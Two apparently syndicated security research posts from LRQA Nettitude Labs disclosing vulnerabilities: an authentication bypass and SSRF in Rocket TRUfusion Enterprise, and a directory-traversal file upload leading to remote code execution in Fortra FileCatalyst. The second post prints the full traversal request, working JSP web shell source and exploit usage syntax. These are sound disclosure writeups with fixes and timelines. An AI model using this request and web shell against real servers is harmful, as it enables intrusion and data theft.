Nettitude recently conducted a penetration test for a customer who used Rocket TRUfusion Enterprise within their external infrastructure. Two high severity vulnerabilities were identified, including an authentication bypass issue and Server-Side Request Forgery (SSRF). These vulnerabilities have been designated by MITRE as CVE-2022-25026 and CVE-2022-25027, and affect all versions prior to 7.9.5.1.

Rocket TRUfusion Enterprise is a software solution for organizations to exchange product design data such as CAD files. This is fronted by a web portal, which is where the vulnerabilities were identified.

Authentication Bypass (CVE-2022-25027)

Nettitude identified a vulnerability which would allow users to gain unauthorised access to protected areas of the application without providing credentials.

It was observed that by clicking the “Password forgotten” button on the login form, the application would mark the user’s session token as authenticated on the server-side. This could then be used to access confidential and sensitive functionality – bypassing the login requirement.

As shown below, when first accessing the application, it was not possible to view the “Upload” page without first authenticating. The user would be redirected back to the login page.

Nettitude then visited the “Password forgotten” page using the same session cookie. This URL was as follows:

• https://example.com/trufusionPortal/tfeportalpwdforgot

At a glance, the response appeared normal, and the forgotten password page was shown.

However, after visiting this page, the “Upload” page was requested again using the same session cookie. As shown below, this time the page loaded successfully without redirecting to login.

This page contains personally identifiable information (PII) and may also allow sensitive actions to be performed. For example, the recipient list below contained details of staff members and their associated departments.

Note that this is just an example of what could be accessed following the authentication bypass. More importantly, it also allows a remote attacker to gain the valid session cookie required to exploit the Server-Side Request Forgery (SSRF) vulnerability below.

Server-Side Request Forgery (CVE-2022-25026)

Rocket TRUfusion Enterprise was found to also be vulnerable to Server-Side Request Forgery (SSRF). This vulnerability allows an attacker to induce the application to make HTTP requests to an arbitrary domain.

In some cases, this could allow unauthorised access to internal services within the organisation’s infrastructure. This access may be used for conducting further attacks against internal services or back-end systems. In the event that the vulnerable server is deployed within cloud infrastructure such as AWS, it may also be possible to use the Instance Metadata Service to retrieve temporary credentials for the associated AWS account.

This type of vulnerability has now fallen into the OWASP Top Ten, as A10:2021 – Server-Side Request Forgery (SSRF).

The affected page was as follows:

• https://example.com/trufusionPortal/upDwModuleProxy?upDwUrl={url}

An attacker could provide an arbitrary URL, essentially using the web server as a proxy. This is shown in the following screenshot, proxying the Nettitude website.

However as mentioned, an attacker could also access local IP addresses such as hosts on the web server’s internal network.

This could allow unauthorised access to internal webpages, for example Git, Confluence, or SharePoint, which may contain highly sensitive or confidential information.

Conclusion

There are a number of security controls which developers can implement to prevent these types of issues. Firstly, applications should always use a robust authentication process, only providing a valid session cookie to a user after they have entered the correct credentials. Ideally, this should also include multi-factor authentication.

To prevent Server-Side Request Forgery, applications should never pass untrusted user input directly to a HTTP request function. If this is required, input should be strictly validated against an allow list. Strong network access controls can also prevent unauthorised access to the internal network.

Rocket Software produced a fix for the two identified issues shortly after notification. Nettitude retested the updated release and confirmed that both vulnerabilities were fully resolved in version 7.9.5.1.

Disclosure Timeline

A timeline of key dates are as follows:

• Discovery by Nettitude: 26 November 2021
• Vendor informed: 09 February 2022
• CVEs assigned: 01 March 2022
• Vendor fix released: 01 April 2022

The post CVE-2022-25026 & CVE-2022-25027: Vulnerabilities in Rocket TRUfusion Enterprise appeared first on LRQA Nettitude Labs.

CVE-2024-25153, a critical Unsafe File Upload and Directory Traversal vulnerability in Fortra FileCatalyst, allows a remote unauthenticated attacker to gain Remote Code Execution (RCE) on the web server. This affects Fortra FileCatalyst Workflow 5.x, before 5.1.6 Build 114.

We are releasing a full proof-of-concept exploit for this vulnerability, which can be found at GitHub below.

 GitHub: https://github.com/nettitude/CVE-2024-25153

Fortra FileCatalyst is an enterprise managed file transfer (MFT) solution which consists of several components – FileCatalyst Direct, Workflow, and Central. FileCatalyst Workflow includes a web portal that allows users to share, modify, and track files with anyone in their organisation.

Several significant vulnerabilities have been discovered in managed file transfer (MFT) applications over the last 12 months, for example CVE-2023-34362, an SQL injection and Remote Code Execution vulnerability in the MOVEit Transfer application, and CVE-2024-0204, an authentication bypass issue for Fortra GoAnywhere.

LRQA Nettitude identified CVE-2024-25153 during a security assessment for a customer who uses Fortra FileCatalyst within their external infrastructure. This article includes a full analysis of the vulnerability and its discovery.

File Upload Analysis – FtpServlet

Within FileCatalyst Workflow, the file upload process involves a POST request to the following URL.

https://{url}/workflow/servlet/ftpservlet

An example pseudo request is shown below:

POST /workflow/servlet/ftpservlet?wf=octetStream&r=&h=X&u=X&p=&prt=21&d=/&ff=X&b=X&fs=X&dlm=X&c=PUT HTTP/1.1
Host: {url}
Content-Type: application/octet-stream 
Cookie: JSESSIONID={SESSION}
X-File-Type: image/png
X-File-Name: upload.png

{file contents}

Although a session token is required for this request, by default, FileCatalyst Workflow allows anonymous login for public users. This, or valid credentials, is a requirement for exploiting CVE-2024-25153.

In order to identify potential security issues, we downloaded and decompiled the latest version of FileCatalyst Workflow from Fortra’s public website. As shown below, some strings were obfuscated, making the task of reverse engineering the application more challenging.

Hunting Directory Traversal

Through examination of error messages, we determined that files would ordinarily be uploaded to the following location in the web root directory.

https://{url}/workflow/uploadtemp/{session_id}/{file_name}

However, any files or folders in the uploadtemp directory were explicitly denied from being accessed publicly, and the session ID was randomly generated and unknown to the user. Ordinarily an attacker would attempt to use a series of dot-dot-slash (../) characters within the X-File-Name request header to navigate out of the intended directory, but slash characters were sanitised and this attack was not possible.

Importantly, we observed that temporary upload directories would be deleted by a clean-up process shortly after upload. The exact time window was determined by the amount of time taken for a server-side FTP connection to complete, and this was deemed to be sufficient to carry out a potential attack.

Even more importantly, it would mean that if directory traversal is successful, we cannot target the top level web root directory without risk of deleting the entire application. The unfortunate effects of this are shown in the screenshot below during a local exploitation attempt.

This is something to note if attempting this attack during a security assessment against a customer’s environment.

Identifying Hidden Parameters

If we can’t exploit directory traversal within the file name field, how can we instead manipulate the session ID to a known value? Reverse engineering this portion of the code revealed the following functionality, which showed an optional query parameter, bb.decode(KVhV), being used to construct the session ID.

As mentioned previously, this string value was obfuscated, and we had to reverse the obfuscation function to identify the original string. As shown below, this revealed the sid request parameter.

Uploading a Command Shell

By replacing the sid parameter with dot-dot-slash sequences, we were able to upload a server-side executable, shell.jsp, to a location outside the uploadtemp directory. For anyone skim-reading up until this point, it’s very important not to attempt to upload files to the top-level directory as this risks deleting the entire application.

POST /workflow/servlet/ftpservlet?wf=octetStream&r=&h=X&u=X&p=&prt=21&d=/&ff=X&b=X&fs=X&dlm=X&c=PUT&sid=nettitude/../../nettitude/ HTTP/1.1
Host: {url}
Content-Type: application/octet-stream
Cookie: JSESSIONID={SESSION}
X-File-Type: a
X-File-Name: shell.jsp

<%@ page import="java.util.*,java.io.*"%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
   out.println("Command: " + request.getParameter("cmd") + "<BR>");
   Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
   OutputStream os = p.getOutputStream();
   InputStream in = p.getInputStream();
   DataInputStream dis = new DataInputStream(in);
   String disr = dis.readLine();
   while ( disr != null ) {
      out.println(disr);
      disr = dis.readLine();
   }
}
%>
</pre>
</BODY></HTML>

The upload request above succeeded, and shell.jsp was placed in the following location in the web root:

https://{url}/workflow/nettitude/shell.jsp

In a real environment, this may require insecure permissions for the application to be able to create a new directory in the web root. However, this configuration was observed during the security assessment where CVE-2024-25153 was discovered, and the exploit succeeded.

Remote Code Execution

Once the web shell had been uploaded, it was then possible to use this to execute operating system commands, as follows:

https://{url}/workflow/nettitude/shell.jsp?cmd=whoami

Response:

nt authority\local service

The above demonstrates that OS level access could be achieved, and an attacker could read or modify data on the system, potentially including files uploaded by other users. This poses a severe confidentiality, integrity, and availability risk.

Similarly, in FileCatalyst Direct, the same vulnerable FtpServlet was observed:

https://{url}:12480/servlet/ftpservlet

This appeared to have identical functionality, and was also determined to be exploitable following the steps outlined above.

Proof-of-Concept Exploit

We have created a full proof-of-concept exploit for CVE-2024-25153, which can be found at GitHub below.

 GitHub: https://github.com/nettitude/CVE-2024-25153

To use this, the syntax is as follows:

./CVE-2024-25153.py --host <hostname> --port <port> --url <url> --cmd <command>

The exploit will:

1. Automatically detect whether anonymous login is enabled.
2. Get a valid session token.
3. Upload a command shell with a pseudo-randomly generated file name.
4. Execute the OS command.

This is demonstrated in the screenshot below.

Disclosure Process

This vulnerability was discovered on 7 August 2023, reported to Fortra on 9 August 2023, and an effective patch released on 11 August 2023. Fortra were authorized as a CVE Numbering Authority (CNA) in December 2023, at which point CVE-2024-25153 was assigned and public disclosure was planned.

The post CVE-2024-25153: Remote Code Execution in Fortra FileCatalyst appeared first on LRQA Nettitude Labs.